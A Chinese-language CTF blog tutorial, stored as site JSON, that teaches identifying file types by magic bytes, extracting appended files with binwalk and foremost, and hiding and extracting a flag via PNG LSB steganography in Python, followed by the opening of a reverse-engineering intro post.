[{"data":1,"prerenderedAt":14399},["ShallowReactive",2],{"blog-post-/blogs/ctf-misc-overview":3,"all-blogs-for-navigation":1061},{"id":4,"title":5,"body":6,"description":1048,"extension":1049,"meta":1050,"navigation":451,"ogImage":1052,"path":1057,"seo":1058,"stem":1059,"__hash__":1060},"content/blogs/13. ctf-misc-overview.md","CTF Misc 入门：文件头、binwalk 与 LSB 隐写",{"type":7,"value":8,"toc":1038},"minimark",[9,14,28,31,97,101,149,153,158,164,170,183,186,194,201,227,231,236,261,263,269,279,283,288,302,326,329,333,336,349,352,358,361,375,382,389,400,404,408,411,417,420,424,429,658,672,676,681,686,817,819,825,829,854,860,864,940,944,950,953,964,970,973,991,994,997,1007,1010,1013,1018,1022,1034],[10,11,13],"h3",{"id":12},"一现实背景扩展名不可信","一、现实背景：扩展名不可信",[15,16,17,18,22,23,27],"p",{},"操作系统按扩展名选择打开程序（",[19,20,21],"code",{},".png"," 用图片查看器），但文件的真实类型由文件头（magic bytes）决定。日常中\"把 zip 改成 png\"会让图片查看器报错；取证中则要反过来：",[24,25,26],"strong",{},"先看文件头，再信扩展名","。",[15,29,30],{},"必须记住的三个文件头：",[32,33,34,50],"table",{},[35,36,37],"thead",{},[38,39,40,44,47],"tr",{},[41,42,43],"th",{},"文件",[41,45,46],{},"文件头（hex）",[41,48,49],{},"明文",[51,52,53,69,82],"tbody",{},[38,54,55,59,64],{},[56,57,58],"td",{},"PNG",[56,60,61],{},[19,62,63],{},"89 50 4E 47 0D 0A 1A 0A",[56,65,66],{},[19,67,68],{},"‰PNG",[38,70,71,74,79],{},[56,72,73],{},"JPEG",[56,75,76],{},[19,77,78],{},"FF D8 FF",[56,80,81],{},"—",[38,83,84,87,92],{},[56,85,86],{},"ZIP",[56,88,89],{},[19,90,91],{},"50 4B 03 04",[56,93,94],{},[19,95,96],{},"PK",[10,98,100],{"id":99},"二环境准备","二、环境准备",[102,103,108],"pre",{"className":104,"code":105,"language":106,"meta":107,"style":107},"language-bash shiki shiki-themes dracula","apt install file binutils binwalk foremost exiftool\npip3 install pillow\n","bash","",[19,109,110,138],{"__ignoreMap":107},[111,112,115,119,123,126,129,132,135],"span",{"class":113,"line":114},"line",1,[111,116,118],{"class":117},"sAOxA","apt",[111,120,122],{"class":121},"s-mGx"," install",[111,124,125],{"class":121}," file",[111,127,128],{"class":121}," binutils",[111,130,131],{"class":121}," binwalk",[111,133,134],{"class":121}," foremost",[111,136,137],{"class":121}," exiftool\n",[111,139,141,144,146],{"class":113,"line":140},2,[111,142,143],{"class":117},"pip3",[111,145,122],{"class":121},[111,147,148],{"class":121}," pillow\n",[10,150,152],{"id":151},"三核心技能-1file-与-xxd","三、核心技能 1：file 与 xxd",[154,155,157],"h4",{"id":156},"_31-file看真实类型","3.1 file：看真实类型",[15,159,160,163],{},[24,161,162],{},"目的","：判断题目文件到底是图片、压缩包还是其他东西，避免被扩展名误导。",[15,165,166,169],{},[24,167,168],{},"验证方式","：看输出的第一段描述（PNG image data / Zip archive data / PDF document ...）。",[102,171,173],{"className":104,"code":172,"language":106,"meta":107,"style":107},"file hidden.png\n",[19,174,175],{"__ignoreMap":107},[111,176,177,180],{"class":113,"line":114},[111,178,179],{"class":117},"file",[111,181,182],{"class":121}," hidden.png\n",[15,184,185],{},"实际输出：",[102,187,192],{"className":188,"code":190,"language":191,"meta":107},[189],"language-text","hidden.png: PNG image data, 8 x 8, 8-bit/color RGB, non-interlaced\n","text",[19,193,190],{"__ignoreMap":107},[15,195,196,197,200],{},"如果输出是 ",[19,198,199],{},"Zip archive data","，说明文件其实是 zip：",[102,202,204],{"className":104,"code":203,"language":106,"meta":107,"style":107},"mv flag.png flag.zip && unzip flag.zip\n",[19,205,206],{"__ignoreMap":107},[111,207,208,211,214,217,221,224],{"class":113,"line":114},[111,209,210],{"class":117},"mv",[111,212,213],{"class":121}," flag.png",[111,215,216],{"class":121}," flag.zip",[111,218,220],{"class":219},"sCdxs"," && ",[111,222,223],{"class":117},"unzip",[111,225,226],{"class":121}," flag.zip\n",[154,228,230],{"id":229},"_32-xxd看文件头","3.2 xxd：看文件头",[15,232,233,235],{},[24,234,162],{},"：用肉眼确认文件开头的魔数，验证 file 的判断，也为手工分析文件结构做准备。",[102,237,239],{"className":104,"code":238,"language":106,"meta":107,"style":107},"xxd -l 16 hidden.png\n# -l 16：只显示前 16 个字节，看文件头足够。\n",[19,240,241,255],{"__ignoreMap":107},[111,242,243,246,250,253],{"class":113,"line":114},[111,244,245],{"class":117},"xxd",[111,247,249],{"class":248},"sIQBb"," -l",[111,251,252],{"class":248}," 16",[111,254,182],{"class":121},[111,256,257],{"class":113,"line":140},[111,258,260],{"class":259},"shSDL","# -l 16：只显示前 16 个字节，看文件头足够。\n",[15,262,185],{},[102,264,267],{"className":265,"code":266,"language":191,"meta":107},[189],"00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR\n",[19,268,266],{"__ignoreMap":107},[15,270,271,272,275,276,27],{},"开头的 ",[19,273,274],{},"89 50 4e 47 0d 0a 1a 0a"," 正是 PNG 魔数，右侧明文是 ",[19,277,278],{},".PNG",[154,280,282],{"id":281},"_33-strings搜字符串","3.3 strings：搜字符串",[15,284,285,287],{},[24,286,162],{},"：快速判断 flag 是不是直接以文本形式藏在文件里。",[15,289,290,293,294,297,298,301],{},[24,291,292],{},"思路","：",[19,295,296],{},"strings"," 把可打印字符串抽出来，",[19,299,300],{},"grep -i flag"," 过滤含 flag 的行。有输出 = 直接提取；无输出 = 可能是隐写，进入下一步。",[102,303,305],{"className":104,"code":304,"language":106,"meta":107,"style":107},"strings flag.png | grep -i flag\n",[19,306,307],{"__ignoreMap":107},[111,308,309,311,313,317,320,323],{"class":113,"line":114},[111,310,296],{"class":117},[111,312,213],{"class":121},[111,314,316],{"class":315},"s0Tla"," |",[111,318,319],{"class":117}," grep",[111,321,322],{"class":248}," -i",[111,324,325],{"class":121}," flag\n",[15,327,328],{},"有输出说明 flag 直接以文本形式藏在文件里；无输出则可能是隐写。",[10,330,332],{"id":331},"四核心技能-2binwalk-提取隐藏文件","四、核心技能 2：binwalk 提取隐藏文件",[15,334,335],{},"文件可以追加在其他文件之后（如图片尾部拼接 zip）。扫描：",[102,337,339],{"className":104,"code":338,"language":106,"meta":107,"style":107},"binwalk flag.png\n",[19,340,341],{"__ignoreMap":107},[111,342,343,346],{"class":113,"line":114},[111,344,345],{"class":117},"binwalk",[111,347,348],{"class":121}," flag.png\n",[15,350,351],{},"预期输出：",[102,353,356],{"className":354,"code":355,"language":191,"meta":107},[189],"DECIMAL  HEXADECIMAL  DESCRIPTION\n0        0x0           PNG image, 500 x 500\n12345    0x3039        Zip archive data\n",[19,357,355],{"__ignoreMap":107},[15,359,360],{},"提取：",[102,362,364],{"className":104,"code":363,"language":106,"meta":107,"style":107},"binwalk -e flag.png\n",[19,365,366],{"__ignoreMap":107},[111,367,368,370,373],{"class":113,"line":114},[111,369,345],{"class":117},[111,371,372],{"class":248}," -e",[111,374,348],{"class":121},[15,376,377,378,381],{},"会在当前目录生成 ",[19,379,380],{},"_flag.png.extracted"," 文件夹，里面是提取出的 zip。",[15,383,384,385,388],{},"备选工具 ",[19,386,387],{},"foremost","（按文件头暴力切割）：",[102,390,392],{"className":104,"code":391,"language":106,"meta":107,"style":107},"foremost flag.png\n",[19,393,394],{"__ignoreMap":107},[111,395,396,398],{"class":113,"line":114},[111,397,387],{"class":117},[111,399,348],{"class":121},[10,401,403],{"id":402},"五核心技能-3lsb-隐写完整实现","五、核心技能 3：LSB 隐写（完整实现）",[154,405,407],{"id":406},"_51-原理","5.1 原理",[15,409,410],{},"RGB 像素每个通道是一个 0-255 的字节。把每个字节的最低位（LSB）替换成秘密比特，像素值最多变化 1，肉眼不可察觉：",[102,412,415],{"className":413,"code":414,"language":191,"meta":107},[189],"原来: 11001000  10010110  01100100\n写入: 11001001  10010110  01100101    ← 最低位依次写入 1,0,1\n",[19,416,414],{"__ignoreMap":107},[15,418,419],{},"一张 500×500 的图能藏 500×500×3 比特 ≈ 93 KB。",[154,421,423],{"id":422},"_52-隐藏出题人视角","5.2 隐藏（出题人视角）",[15,425,426,428],{},[24,427,162],{},"：理解\"把秘密写进像素最低位\"的具体实现，便于反向写出提取脚本。",[102,430,434],{"className":431,"code":432,"language":433,"meta":107,"style":107},"language-python shiki shiki-themes dracula","from PIL import Image\n# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n\nimg = Image.new('RGB', (8, 8), (200, 150, 100))\n# Image.new(mode, size, color)：新建一张图片。\n# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\nmessage = \"flag{lsb_steganography}\"\n\ndata = message.encode() + b'\\x00'\n# message.encode()：把字符串按 UTF-8 转成字节串。\n# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\nbits = ''.join(f'{b:08b}' for b in data)\n# 把每个字节转成 8 位二进制字符串并拼接。\n# 例：b'f'=0x66=01100110，8 位拼进 bits。\npixels = list(img.getdata())\n# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n\nnew_pixels = []\ni = 0\nfor r, g, b in pixels:\n    if i \u003C len(bits):\n        r = (r & 0xfe) | int(bits[i]); i += 1\n        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n    if i \u003C len(bits):\n        g = (g & 0xfe) | int(bits[i]); i += 1\n        # 绿色通道同样处理。\n    if i \u003C len(bits):\n        b = (b & 0xfe) | int(bits[i]); i += 1\n        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n    new_pixels.append((r, g, b))\n    # 修改后的像素放入新列表。\n\nimg.putdata(new_pixels)\n# putdata()：把新像素列表写回图片对象。\nimg.save('hidden.png')\n# save()：按扩展名格式保存为 PNG 文件。\nprint(\"已生成 hidden.png\")\n","python",[19,435,436,441,446,453,459,465,471,477,482,488,494,500,506,512,518,524,530,535,541,547,553,559,565,571,577,582,588,594,599,605,611,617,623,628,634,640,646,652],{"__ignoreMap":107},[111,437,438],{"class":113,"line":114},[111,439,440],{},"from PIL import Image\n",[111,442,443],{"class":113,"line":140},[111,444,445],{},"# PIL 是 Python 图像处理库，Image 模块负责打开、修改、保存图片。\n",[111,447,449],{"class":113,"line":448},3,[111,450,452],{"emptyLinePlaceholder":451},true,"\n",[111,454,456],{"class":113,"line":455},4,[111,457,458],{},"img = Image.new('RGB', (8, 8), (200, 150, 100))\n",[111,460,462],{"class":113,"line":461},5,[111,463,464],{},"# Image.new(mode, size, color)：新建一张图片。\n",[111,466,468],{"class":113,"line":467},6,[111,469,470],{},"# mode='RGB' 表示三通道；size=(8,8)；color=(200,150,100) 是初始颜色。\n",[111,472,474],{"class":113,"line":473},7,[111,475,476],{},"message = \"flag{lsb_steganography}\"\n",[111,478,480],{"class":113,"line":479},8,[111,481,452],{"emptyLinePlaceholder":451},[111,483,485],{"class":113,"line":484},9,[111,486,487],{},"data = message.encode() + b'\\x00'\n",[111,489,491],{"class":113,"line":490},10,[111,492,493],{},"# message.encode()：把字符串按 UTF-8 转成字节串。\n",[111,495,497],{"class":113,"line":496},11,[111,498,499],{},"# 末尾追加 b'\\x00'（字节 0）作为结束符，提取时遇到 0 就停止。\n",[111,501,503],{"class":113,"line":502},12,[111,504,505],{},"bits = ''.join(f'{b:08b}' for b in data)\n",[111,507,509],{"class":113,"line":508},13,[111,510,511],{},"# 把每个字节转成 8 位二进制字符串并拼接。\n",[111,513,515],{"class":113,"line":514},14,[111,516,517],{},"# 例：b'f'=0x66=01100110，8 位拼进 bits。\n",[111,519,521],{"class":113,"line":520},15,[111,522,523],{},"pixels = list(img.getdata())\n",[111,525,527],{"class":113,"line":526},16,[111,528,529],{},"# img.getdata()：返回所有像素的迭代器，转成列表后每项是 (r,g,b) 三元组。\n",[111,531,533],{"class":113,"line":532},17,[111,534,452],{"emptyLinePlaceholder":451},[111,536,538],{"class":113,"line":537},18,[111,539,540],{},"new_pixels = []\n",[111,542,544],{"class":113,"line":543},19,[111,545,546],{},"i = 0\n",[111,548,550],{"class":113,"line":549},20,[111,551,552],{},"for r, g, b in pixels:\n",[111,554,556],{"class":113,"line":555},21,[111,557,558],{},"    if i \u003C len(bits):\n",[111,560,562],{"class":113,"line":561},22,[111,563,564],{},"        r = (r & 0xfe) | int(bits[i]); i += 1\n",[111,566,568],{"class":113,"line":567},23,[111,569,570],{},"        # r & 0xfe：把红色通道的最低位清零（0xfe=11111110）。\n",[111,572,574],{"class":113,"line":573},24,[111,575,576],{},"        # | int(bits[i])：把秘密比特写进最低位；i 是当前比特下标。\n",[111,578,580],{"class":113,"line":579},25,[111,581,558],{},[111,583,585],{"class":113,"line":584},26,[111,586,587],{},"        g = (g & 0xfe) | int(bits[i]); i += 1\n",[111,589,591],{"class":113,"line":590},27,[111,592,593],{},"        # 绿色通道同样处理。\n",[111,595,597],{"class":113,"line":596},28,[111,598,558],{},[111,600,602],{"class":113,"line":601},29,[111,603,604],{},"        b = (b & 0xfe) | int(bits[i]); i += 1\n",[111,606,608],{"class":113,"line":607},30,[111,609,610],{},"        # 蓝色通道同样处理。三个通道依次消耗秘密比特。\n",[111,612,614],{"class":113,"line":613},31,[111,615,616],{},"    new_pixels.append((r, g, b))\n",[111,618,620],{"class":113,"line":619},32,[111,621,622],{},"    # 修改后的像素放入新列表。\n",[111,624,626],{"class":113,"line":625},33,[111,627,452],{"emptyLinePlaceholder":451},[111,629,631],{"class":113,"line":630},34,[111,632,633],{},"img.putdata(new_pixels)\n",[111,635,637],{"class":113,"line":636},35,[111,638,639],{},"# putdata()：把新像素列表写回图片对象。\n",[111,641,643],{"class":113,"line":642},36,[111,644,645],{},"img.save('hidden.png')\n",[111,647,649],{"class":113,"line":648},37,[111,650,651],{},"# save()：按扩展名格式保存为 PNG 文件。\n",[111,653,655],{"class":113,"line":654},38,[111,656,657],{},"print(\"已生成 hidden.png\")\n",[15,659,660,663,664,667,668,671],{},[19,661,662],{},"r & 0xfe"," 把最低位清零（",[19,665,666],{},"0xfe = 11111110","），",[19,669,670],{},"| bit"," 写入目标比特。",[154,673,675],{"id":674},"_53-提取解题视角","5.3 提取（解题视角）",[15,677,678,680],{},[24,679,162],{},"：把像素最低位收集起来，按 8 位一组还原成字节，得到隐藏消息。",[15,682,683,685],{},[24,684,292],{},"：读取所有像素 → 依次取 R、G、B 的最低位 → 每 8 个比特拼成一个字节 → 遇到 0 结束。",[102,687,689],{"className":431,"code":688,"language":433,"meta":107,"style":107},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open(path)：打开图片文件。\n# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移一位再或上新比特，等价于二进制拼接。\n        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符，到此停止。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串按 UTF-8 解码成字符串显示。\n",[19,690,691,695,699,704,709,714,719,724,729,734,739,743,748,753,758,763,768,773,778,783,788,793,798,803,807,812],{"__ignoreMap":107},[111,692,693],{"class":113,"line":114},[111,694,440],{},[111,696,697],{"class":113,"line":140},[111,698,452],{"emptyLinePlaceholder":451},[111,700,701],{"class":113,"line":448},[111,702,703],{},"img = Image.open('hidden.png').convert('RGB')\n",[111,705,706],{"class":113,"line":455},[111,707,708],{},"# Image.open(path)：打开图片文件。\n",[111,710,711],{"class":113,"line":461},[111,712,713],{},"# .convert('RGB')：统一转成 RGB 模式，避免调色板/透明度干扰。\n",[111,715,716],{"class":113,"line":467},[111,717,718],{},"bits = []\n",[111,720,721],{"class":113,"line":473},[111,722,723],{},"for r, g, b in img.getdata():\n",[111,725,726],{"class":113,"line":479},[111,727,728],{},"    bits += [r & 1, g & 1, b & 1]\n",[111,730,731],{"class":113,"line":484},[111,732,733],{},"    # r & 1：取出红色通道最低位（0 或 1），绿、蓝同理。\n",[111,735,736],{"class":113,"line":490},[111,737,738],{},"    # 三个最低位依次追加到 bits，顺序与隐藏时一致。\n",[111,740,741],{"class":113,"line":496},[111,742,452],{"emptyLinePlaceholder":451},[111,744,745],{"class":113,"line":502},[111,746,747],{},"data = bytearray()\n",[111,749,750],{"class":113,"line":508},[111,751,752],{},"for i in range(0, len(bits) - 7, 8):\n",[111,754,755],{"class":113,"line":514},[111,756,757],{},"    # range 步长 8：每 8 个比特处理一次，组成 1 字节。\n",[111,759,760],{"class":113,"line":520},[111,761,762],{},"    byte = 0\n",[111,764,765],{"class":113,"line":526},[111,766,767],{},"    for bit in bits[i:i+8]:\n",[111,769,770],{"class":113,"line":532},[111,771,772],{},"        byte = (byte \u003C\u003C 1) | bit\n",[111,774,775],{"class":113,"line":537},[111,776,777],{},"        # 左移一位再或上新比特，等价于二进制拼接。\n",[111,779,780],{"class":113,"line":543},[111,781,782],{},"        # 例：1,0,1 → ((1\u003C\u003C1)|0)=2, (2\u003C\u003C1)|1=5，即二进制 101。\n",[111,784,785],{"class":113,"line":549},[111,786,787],{},"    if byte == 0:\n",[111,789,790],{"class":113,"line":555},[111,791,792],{},"        # 字节 0 是隐藏时追加的结束符，到此停止。\n",[111,794,795],{"class":113,"line":561},[111,796,797],{},"        break\n",[111,799,800],{"class":113,"line":567},[111,801,802],{},"    data.append(byte)\n",[111,804,805],{"class":113,"line":573},[111,806,452],{"emptyLinePlaceholder":451},[111,808,809],{"class":113,"line":579},[111,810,811],{},"print(data.decode())\n",[111,813,814],{"class":113,"line":584},[111,815,816],{},"# decode()：字节串按 UTF-8 解码成字符串显示。\n",[15,818,185],{},[102,820,823],{"className":821,"code":822,"language":191,"meta":107},[189],"flag{lsb_steganography}\n",[19,824,822],{"__ignoreMap":107},[154,826,828],{"id":827},"_54-现成工具","5.4 现成工具",[102,830,832],{"className":104,"code":831,"language":106,"meta":107,"style":107},"gem install zsteg\nzsteg -a hidden.png\n",[19,833,834,844],{"__ignoreMap":107},[111,835,836,839,841],{"class":113,"line":114},[111,837,838],{"class":117},"gem",[111,840,122],{"class":121},[111,842,843],{"class":121}," zsteg\n",[111,845,846,849,852],{"class":113,"line":140},[111,847,848],{"class":117},"zsteg",[111,850,851],{"class":248}," -a",[111,853,182],{"class":121},[15,855,856,859],{},[19,857,858],{},"-a"," 全自动检测各种 LSB 变体。",[10,861,863],{"id":862},"六必学工具","六、必学工具",[32,865,866,879],{},[35,867,868],{},[38,869,870,873,876],{},[41,871,872],{},"工具",[41,874,875],{},"核心功能",[41,877,878],{},"命令",[51,880,881,893,906,925],{},[38,882,883,885,888],{},[56,884,179],{},[56,886,887],{},"看类型、看编码、看无后缀文件",[56,889,890],{},[19,891,892],{},"file flag",[38,894,895,898,901],{},[56,896,897],{},"xxd / hexdump",[56,899,900],{},"查看文件头、指定长度",[56,902,903],{},[19,904,905],{},"xxd -l 16 flag.png",[38,907,908,910,913],{},[56,909,296],{},[56,911,912],{},"提取字符串、指定长度、管道过滤",[56,914,915,918,919,918,922],{},[19,916,917],{},"strings flag.png","、",[19,920,921],{},"strings -n 3 a",[19,923,924],{},"strings a | grep flag",[38,926,927,929,932],{},[56,928,345],{},[56,930,931],{},"扫描、提取",[56,933,934,918,937],{},[19,935,936],{},"binwalk flag.png",[19,938,939],{},"binwalk -e flag.png",[10,941,943],{"id":942},"七小-ctf-实战藏了-flag-的-png","七、小 CTF 实战：藏了 flag 的 PNG",[15,945,946,947,27],{},"题目：",[19,948,949],{},"flag.png",[15,951,952],{},"第一步：",[102,954,956],{"className":104,"code":955,"language":106,"meta":107,"style":107},"file flag.png\n",[19,957,958],{"__ignoreMap":107},[111,959,960,962],{"class":113,"line":114},[111,961,179],{"class":117},[111,963,348],{"class":121},[15,965,966,967,27],{},"输出：",[19,968,969],{},"PNG image data",[15,971,972],{},"第二步：",[102,974,975],{"className":104,"code":304,"language":106,"meta":107,"style":107},[19,976,977],{"__ignoreMap":107},[111,978,979,981,983,985,987,989],{"class":113,"line":114},[111,980,296],{"class":117},[111,982,213],{"class":121},[111,984,316],{"class":315},[111,986,319],{"class":117},[111,988,322],{"class":248},[111,990,325],{"class":121},[15,992,993],{},"无输出。",[15,995,996],{},"第三步：",[102,998,999],{"className":104,"code":338,"language":106,"meta":107,"style":107},[19,1000,1001],{"__ignoreMap":107},[111,1002,1003,1005],{"class":113,"line":114},[111,1004,345],{"class":117},[111,1006,348],{"class":121},[15,1008,1009],{},"无隐藏文件。",[15,1011,1012],{},"第四步：怀疑 LSB，运行提取脚本，输出：",[102,1014,1016],{"className":1015,"code":822,"language":191,"meta":107},[189],[19,1017,822],{"__ignoreMap":107},[10,1019,1021],{"id":1020},"八小结","八、小结",[15,1023,1024,1025,1027,1028,1030,1031,1033],{},"Misc 入门三板斧：",[19,1026,179],{}," 看类型、",[19,1029,296],{},"/",[19,1032,345],{}," 排除简单情况、LSB 脚本提数据。音频隐写（Audacity 频谱图）、ZIP 伪加密、USB 流量分析在《隐写与取证深入实战》中完整展开。",[1035,1036,1037],"style",{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":107,"searchDepth":140,"depth":140,"links":1039},[1040,1041,1042,1043,1044,1045,1046,1047],{"id":12,"depth":448,"text":13},{"id":99,"depth":448,"text":100},{"id":151,"depth":448,"text":152},{"id":331,"depth":448,"text":332},{"id":402,"depth":448,"text":403},{"id":862,"depth":448,"text":863},{"id":942,"depth":448,"text":943},{"id":1020,"depth":448,"text":1021},"杂项三板斧：file/xxd 识别文件头、binwalk 提取隐藏文件、Python 实现 LSB 隐写的隐藏与提取。","md",{"date":1051,"image":1052,"alt":1053,"tags":1054,"published":451},"14th Aug 2026","/blogs-img/blog4.png","CTF Misc 入门",[1055,1056],"ctf","misc","/blogs/ctf-misc-overview",{"title":5,"description":1048},"blogs/13. ctf-misc-overview","XI4JQUKrJS4uak8Rm3ioTk2L2WukeCdhI54Ldj4FkRo",[1062,2362,3235,4235,4987,6393,7452,8404,9502,10539,11518,12540],{"id":1063,"title":1064,"body":1065,"description":2351,"extension":1049,"meta":2352,"navigation":451,"ogImage":2353,"path":2358,"seo":2359,"stem":2360,"__hash__":2361},"content/blogs/10. ctf-reverse-overview.md","CTF 逆向入门：侦查、反汇编与 GDB 调试",{"type":7,"value":1066,"toc":2341},[1067,1071,1074,1077,1124,1127,1129,1132,1156,1163,1167,1172,1177,1181,1184,1196,1198,1204,1215,1220,1224,1226,1237,1239,1245,1255,1272,1275,1280,1303,1307,1319,1323,1335,1340,1345,1349,1354,1371,1375,1377,1398,1401,1439,1442,1499,1502,1556,1563,1583,1587,1620,1623,1643,1650,1665,1669,1689,1691,1697,1707,1720,1724,1727,1788,1791,1814,1817,1844,1847,1851,1854,1859,1868,1880,1883,1887,1897,1899,1905,1909,1918,1920,1926,1929,1933,1942,1945,1949,1958,1964,1973,1976,2000,2007,2020,2023,2029,2032,2038,2040,2117,2126,2130,2136,2140,2145,2158,2174,2180,2184,2189,2198,2204,2213,2217,2222,2231,2296,2298,2304,2308,2321,2325,2327,2338],[10,1068,1070],{"id":1069},"一现实背景为什么需要逆向","一、现实背景：为什么需要逆向",[15,1072,1073],{},"商业软件只发布编译后的二进制文件，不发布源码。恶意软件分析、漏洞研究、授权校验分析都依赖逆向。CTF 逆向题最常见的形式：程序读取一个输入，判断对不对，对就输出 flag；不给你源码，只给你编译好的文件。",[15,1075,1076],{},"目标程序示例：",[102,1078,1080],{"className":104,"code":1079,"language":106,"meta":107,"style":107},"$ ./checkflag\nUsage: ./checkflag \u003Cflag>\n$ ./checkflag test\nWrong!\n",[19,1081,1082,1090,1110,1119],{"__ignoreMap":107},[111,1083,1084,1087],{"class":113,"line":114},[111,1085,1086],{"class":117},"$",[111,1088,1089],{"class":121}," ./checkflag\n",[111,1091,1092,1095,1098,1101,1104,1107],{"class":113,"line":140},[111,1093,1094],{"class":117},"Usage:",[111,1096,1097],{"class":121}," ./checkflag",[111,1099,1100],{"class":315}," \u003C",[111,1102,1103],{"class":121},"fla",[111,1105,1106],{"class":219},"g",[111,1108,1109],{"class":315},">\n",[111,1111,1112,1114,1116],{"class":113,"line":448},[111,1113,1086],{"class":117},[111,1115,1097],{"class":121},[111,1117,1118],{"class":121}," test\n",[111,1120,1121],{"class":113,"line":455},[111,1122,1123],{"class":117},"Wrong!\n",[15,1125,1126],{},"解题目标：通过分析二进制，找出正确输入。",[10,1128,100],{"id":99},[15,1130,1131],{},"在 Linux（Kali/Ubuntu）上：",[102,1133,1135],{"className":104,"code":1134,"language":106,"meta":107,"style":107},"apt install file binutils gdb ltrace strace\n",[19,1136,1137],{"__ignoreMap":107},[111,1138,1139,1141,1143,1145,1147,1150,1153],{"class":113,"line":114},[111,1140,118],{"class":117},[111,1142,122],{"class":121},[111,1144,125],{"class":121},[111,1146,128],{"class":121},[111,1148,1149],{"class":121}," gdb",[111,1151,1152],{"class":121}," ltrace",[111,1154,1155],{"class":121}," strace\n",[15,1157,1158,1159,1162],{},"本文以编译后的 ",[19,1160,1161],{},"checkflag"," 为例，逐步演示。",[10,1164,1166],{"id":1165},"三核心步骤-1侦查","三、核心步骤 1：侦查",[15,1168,1169,1171],{},[24,1170,162],{},"：在不运行程序的情况下，先收集\"程序是什么、里面写了什么字符串\"。",[15,1173,1174,1176],{},[24,1175,292],{},"：程序类型决定用什么工具（ELF 用 objdump，PE 用其他）；字符串往往直接暴露提示、密钥甚至 flag。先做最便宜的三件事，通常能直接定位简单题。",[154,1178,1180],{"id":1179},"_31-file看文件类型","3.1 file：看文件类型",[15,1182,1183],{},"输入：",[102,1185,1187],{"className":104,"code":1186,"language":106,"meta":107,"style":107},"file checkflag\n",[19,1188,1189],{"__ignoreMap":107},[111,1190,1191,1193],{"class":113,"line":114},[111,1192,179],{"class":117},[111,1194,1195],{"class":121}," checkflag\n",[15,1197,351],{},[102,1199,1202],{"className":1200,"code":1201,"language":191,"meta":107},[189],"checkflag: ELF 64-bit LSB pie executable, x86-64, dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped\n",[19,1203,1201],{"__ignoreMap":107},[15,1205,1206,1207,1210,1211,1214],{},"重点看最后：",[19,1208,1209],{},"not stripped"," 表示符号表还在，函数名（main、check）可见；如果是 ",[19,1212,1213],{},"stripped","，函数名被删，难度更高。",[15,1216,1217,1219],{},[24,1218,162],{},"：确认我们面对的是 ELF 还是 PE、多少位、是否被 strip。这决定后续用 objdump 还是其他工具，以及能否直接看到函数名。",[154,1221,1223],{"id":1222},"_32-strings提取字符串","3.2 strings：提取字符串",[15,1225,1183],{},[102,1227,1229],{"className":104,"code":1228,"language":106,"meta":107,"style":107},"strings checkflag\n",[19,1230,1231],{"__ignoreMap":107},[111,1232,1233,1235],{"class":113,"line":114},[111,1234,296],{"class":117},[111,1236,1195],{"class":121},[15,1238,351],{},[102,1240,1243],{"className":1241,"code":1242,"language":191,"meta":107},[189],"/lib64/ld-linux-x86-64.so.2\nUsage: ./checkflag \u003Cflag>\nCorrect!\nWrong!\n",[19,1244,1242],{"__ignoreMap":107},[15,1246,1247,1248,1250,1251,1254],{},"三个提示字符串都出来了，但还没有 flag。注意 ",[19,1249,296],{}," 默认只显示长度 ≥ 4 的字符串，短字符串用 ",[19,1252,1253],{},"-n"," 指定：",[102,1256,1258],{"className":104,"code":1257,"language":106,"meta":107,"style":107},"strings -n 3 checkflag\n",[19,1259,1260],{"__ignoreMap":107},[111,1261,1262,1264,1267,1270],{"class":113,"line":114},[111,1263,296],{"class":117},[111,1265,1266],{"class":248}," -n",[111,1268,1269],{"class":248}," 3",[111,1271,1195],{"class":121},[15,1273,1274],{},"如果程序用 XOR 加密了 flag，strings 只能看到提示，看不到明文，需要继续分析。",[15,1276,1277,1279],{},[24,1278,162],{},"：把文件里所有可打印字符串列出来，找\"提示/密钥/硬编码密文\"。",[15,1281,1282,1284,1285,918,1288,918,1291,1294,1295,1298,1299,1302],{},[24,1283,292],{},"：输出里的 ",[19,1286,1287],{},"Usage: ./checkflag \u003Cflag>",[19,1289,1290],{},"Correct!",[19,1292,1293],{},"Wrong!"," 说明这是个接收参数的校验程序；如果看到可疑短串（如 ",[19,1296,1297],{},"k3y","），先用 ",[19,1300,1301],{},"-n 3"," 